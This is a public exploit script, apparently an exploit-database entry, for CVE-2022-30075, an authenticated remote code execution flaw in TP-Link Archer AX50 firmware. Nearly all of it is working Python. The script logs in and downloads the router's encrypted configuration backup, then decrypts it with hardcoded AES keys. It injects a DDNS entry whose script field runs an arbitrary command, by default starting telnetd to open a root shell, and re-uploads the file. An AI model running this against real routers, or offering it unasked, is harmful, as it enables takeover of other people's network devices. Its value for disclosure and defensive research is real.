# Exploit Title: TP-Link Router AX50 firmware 210730 - Remote Code Execution (RCE) (Authenticated) # Exploit Author: Tomas Melicher # Technical Details: https://github.com/aaronsvk/CVE-2022-30075 # Date: 2022-06-08 # Vendor Homepage: https://www.tp-link.com/ # Tested On: Tp-Link Archer AX50 # Vulnerability Description: Remote Code Execution via importing malicious config file # CVE: CVE-2022-30075 #!/usr/bin/python3 import argparse # pip install argparse import requests # pip install requests import binascii, base64, os, re, json, sys, time, math, random, hashlib import tarfile, zlib from Crypto.Cipher import AES, PKCS1_v1_5, PKCS1_OAEP # pip install pycryptodome from Crypto.PublicKey import RSA from Crypto.Util.Padding import pad, unpad from Crypto.Random import get_random_bytes from urllib.parse import urlencode class WebClient(object): def __init__(self, target, password): self.target = target self.password = password.encode('utf-8') self.password_hash = hashlib.md5(('admin%s'%password).encode('utf-8')).hexdigest().encode('utf-8') self.aes_key = (str(time.time()) + str(random.random())).replace('.','')[0:AES.block_size].encode('utf-8') self.aes_iv = (str(time.time()) + str(random.random())).replace('.','')[0:AES.block_size].encode('utf-8') self.stok = '' self.session = requests.Session() data = self.basic_request('/login?form=auth', {'operation':'read'}) if data['success'] != True: print('[!] unsupported router') return self.sign_rsa_n = int(data['data']['key'][0], 16) self.sign_rsa_e = int(data['data']['key'][1], 16) self.seq = data['data']['seq'] data = self.basic_request('/login?form=keys', {'operation':'read'}) self.password_rsa_n = int(data['data']['password'][0], 16) self.password_rsa_e = int(data['data']['password'][1], 16) self.stok = self.login() def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext): cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv) plaintext_padded = pad(plaintext, aes_block_size) return cipher.encrypt(plaintext_padded) def aes_decrypt(self, aes_key, aes_iv, aes_block_size, ciphertext): cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv) plaintext_padded = cipher.decrypt(ciphertext) plaintext = unpad(plaintext_padded, aes_block_size) return plaintext def rsa_encrypt(self, n, e, plaintext): public_key = RSA.construct((n, e)).publickey() encryptor = PKCS1_v1_5.new(public_key) block_size = int(public_key.n.bit_length()/8) - 11 encrypted_text = '' for i in range(0, len(plaintext), block_size): encrypted_text += encryptor.encrypt(plaintext[i:i+block_size]).hex() return encrypted_text def download_request(self, url, post_data): res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data=post_data, stream=True) filepath = os.getcwd()+'/'+re.findall(r'(?<=filename=")[^"]+', res.headers['Content-Disposition'])[0] if os.path.exists(filepath): print('[!] can\'t download, file "%s" already exists' % filepath) return with open(filepath, 'wb') as f: for chunk in res.iter_content(chunk_size=4096): f.write(chunk) return filepath def basic_request(self, url, post_data, files_data={}): res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data=post_data, files=files_data) return json.loads(res.content) def encrypted_request(self, url, post_data): serialized_data = urlencode(post_data) encrypted_data = self.aes_encrypt(self.aes_key, self.aes_iv, AES.block_size, serialized_data.encode('utf-8')) encrypted_data = base64.b64encode(encrypted_data) signature = ('k=%s&i=%s&h=%s&s=%d'.encode('utf-8')) % (self.aes_key, self.aes_iv, self.password_hash, self.seq+len(encrypted_data)) encrypted_signature = self.rsa_encrypt(self.sign_rsa_n, self.sign_rsa_e, signature) res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data={'sign':encrypted_signature, 'data':encrypted_data}) # order of params is important if(res.status_code != 200): print('[!] url "%s" returned unexpected status code'%(url)) return encrypted_data = json.loads(res.content) encrypted_data = base64.b64decode(encrypted_data['data']) data = self.aes_decrypt(self.aes_key, self.aes_iv, AES.block_size, encrypted_data) return json.loads(data) def login(self): post_data = {'operation':'login', 'password':self.rsa_encrypt(self.password_rsa_n, self.password_rsa_e, self.password)} data = self.encrypted_request('/login?form=login', post_data) if data['success'] != True: print('[!] login failed') return print('[+] logged in, received token (stok): %s'%(data['data']['stok'])) return data['data']['stok'] class BackupParser(object): def __init__(self, filepath): self.encrypted_path = os.path.abspath(filepath) self.decrypted_path = os.path.splitext(filepath)[0] self.aes_key = bytes.fromhex('2EB38F7EC41D4B8E1422805BCD5F740BC3B95BE163E39D67579EB344427F7836') # strings ./squashfs-root/usr/lib/lua/luci/model/crypto.lua self.iv = bytes.fromhex('360028C9064242F81074F4C127D299F6') # strings ./squashfs-root/usr/lib/lua/luci/model/crypto.lua def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext): cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv) plaintext_padded = pad(plaintext, aes_block_size) return cipher.encrypt(plaintext_padded) def aes_decrypt(self, aes_key, aes_iv, aes_block_size, ciphertext): cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv) plaintext_padded = cipher.decrypt(ciphertext) plaintext = unpad(plaintext_padded, aes_block_size) return plaintext def encrypt_config(self): if not os.path.isdir(self.decrypted_path): print('[!] invalid directory "%s"'%(self.decrypted_path)) return # encrypt, compress each .xml using zlib and add them to tar archive with tarfile.open('%s/data.tar'%(self.decrypted_path), 'w') as tar: for filename in os.listdir(self.decrypted_path): basename,ext = os.path.splitext(filename) if ext == '.xml': xml_path = '%s/%s'%(self.decrypted_path,filename) bin_path = '%s/%s.bin'%(self.decrypted_path,basename) with open(xml_path, 'rb') as f: plaintext = f.read() if len(plaintext) == 0: f = open(bin_path, 'w') f.close() else: compressed = zlib.compress(plaintext) encrypted = self.aes_encrypt(self.aes_key, self.iv, AES.block_size, compressed) with open(bin_path, 'wb') as f: f.write(encrypted) tar.add(bin_path, os.path.basename(bin_path)) os.unlink(bin_path) # compress tar archive using zlib and encrypt with open('%s/md5_sum'%(self.decrypted_path), 'rb') as f1, open('%s/data.tar'%(self.decrypted_path), 'rb') as f2: compressed = zlib.compress(f1.read()+f2.read()) encrypted = self.aes_encrypt(self.aes_key, self.iv, AES.block_size, compressed) # write into final config file with open('%s'%(self.encrypted_path), 'wb') as f: f.write(encrypted) os.unlink('%s/data.tar'%(self.decrypted_path)) def decrypt_config(self): if not os.path.isfile(self.encrypted_path): print('[!] invalid file "%s"'%(self.encrypted_path)) return # decrypt and decompress config file with open(self.encrypted_path, 'rb') as f: decrypted = self.aes_decrypt(self.aes_key, self.iv, AES.block_size, f.read()) decompressed = zlib.decompress(decrypted) os.mkdir(self.decrypted_path) # store decrypted data into files with open('%s/md5_sum'%(self.decrypted_path), 'wb') as f: f.write(decompressed[0:16]) with open('%s/data.tar'%(self.decrypted_path), 'wb') as f: f.write(decompressed[16:]) # untar second part of decrypted data with tarfile.open('%s/data.tar'%(self.decrypted_path), 'r') as tar: tar.extractall(path=self.decrypted_path) # decrypt and decompress each .bin file from tar archive for filename in os.listdir(self.decrypted_path): basename,ext = os.path.splitext(filename) if ext == '.bin': bin_path = '%s/%s'%(self.decrypted_path,filename) xml_path = '%s/%s.xml'%(self.decrypted_path,basename) with open(bin_path, 'rb') as f: ciphertext = f.read() os.unlink(bin_path) if len(ciphertext) == 0: f = open(xml_path, 'w') f.close() continue decrypted = self.aes_decrypt(self.aes_key, self.iv, AES.block_size, ciphertext) decompressed = zlib.decompress(decrypted) with open(xml_path, 'wb') as f: f.write(decompressed) os.unlink('%s/data.tar'%(self.decrypted_path)) def modify_config(self, command): xml_path = '%s/ori-backup-user-config.xml'%(self.decrypted_path) if not os.path.isfile(xml_path): print('[!] invalid file "%s"'%(xml_path)) return with open(xml_path, 'r') as f: xml_content = f.read() # https://openwrt.org/docs/guide-user/services/ddns/client#detecting_wan_ip_with_script payload = '<service name="exploit">\n' payload += '<enabled>on</enabled>\n' payload += '<update_url>http://127.0.0.1/</update_url>\n' payload += '<domain>x.example.org</domain>\n' payload += '<username>X</username>\n' payload += '<password>X</password>\n' payload += '<ip_source>script</ip_source>\n' payload += '<ip_script>%s</ip_script>\n' % (command.replace('<','<').replace('&','&')) payload += '<interface>internet</interface>\n' # not worked for other interfaces payload += '<retry_interval>5</retry_interval>\n' payload += '<retry_unit>seconds</retry_unit>\n' payload += '<retry_times>3</retry_times>\n' payload += '<check_interval>12</check_interval>\n' payload += '<check_unit>hours</check_unit>\n' payload += '<force_interval>30</force_interval>\n' payload += '<force_unit>days</force_unit>\n' payload += '</service>\n' if '<service name="exploit">' in xml_content: xml_content = re.sub(r'<service name="exploit">[\s\S]+?</service>\n</ddns>', '%s</ddns>'%(payload), xml_content, 1) else: xml_content = xml_content.replace('</service>\n</ddns>', '</service>\n%s</ddns>'%(payload), 1) with open(xml_path, 'w') as f: f.write(xml_content) arg_parser = argparse.ArgumentParser() arg_parser.add_argument('-t', metavar='target', help='ip address of tp-link router', required=True) arg_parser.add_argument('-p', metavar='password', required=True) arg_parser.add_argument('-b', action='store_true', help='only backup and decrypt config') arg_parser.add_argument('-r', metavar='backup_directory', help='only encrypt and restore directory with decrypted config') arg_parser.add_argument('-c', metavar='cmd', default='/usr/sbin/telnetd -l /bin/login.sh', help='command to execute') args = arg_parser.parse_args() client = WebClient(args.t, args.p) parser = None if not args.r: print('[*] downloading config file ...') filepath = client.download_request('/admin/firmware?form=config_multipart', {'operation':'backup'}) if not filepath: sys.exit(-1) print('[*] decrypting config file "%s" ...'%(filepath)) parser = BackupParser(filepath) parser.decrypt_config() print('[+] successfully decrypted into directory "%s"'%(parser.decrypted_path)) if not args.b and not args.r: filepath = '%s_modified'%(parser.decrypted_path) os.rename(parser.decrypted_path, filepath) parser.decrypted_path = os.path.abspath(filepath) parser.encrypted_path = '%s.bin'%(filepath) parser.modify_config(args.c) print('[+] modified directory with decrypted config "%s" ...'%(parser.decrypted_path)) if not args.b: if parser is None: parser = BackupParser('%s.bin'%(args.r.rstrip('/'))) print('[*] encrypting directory with modified config "%s" ...'%(parser.decrypted_path)) parser.encrypt_config() data = client.basic_request('/admin/firmware?form=config_multipart', {'operation':'read'}) timeout = data['data']['totaltime'] if data['success'] else 180 print('[*] uploading modified config file "%s"'%(parser.encrypted_path)) data = client.basic_request('/admin/firmware?form=config_multipart', {'operation':'restore'}, {'archive':open(parser.encrypted_path,'rb')}) if not data['success']: print('[!] unexpected response') print(data) sys.exit(-1) print('[+] config file successfully uploaded') print('[*] router will reboot in few seconds... when it becomes online again (few minutes), try "telnet %s" and enjoy root shell !!!'%(args.t))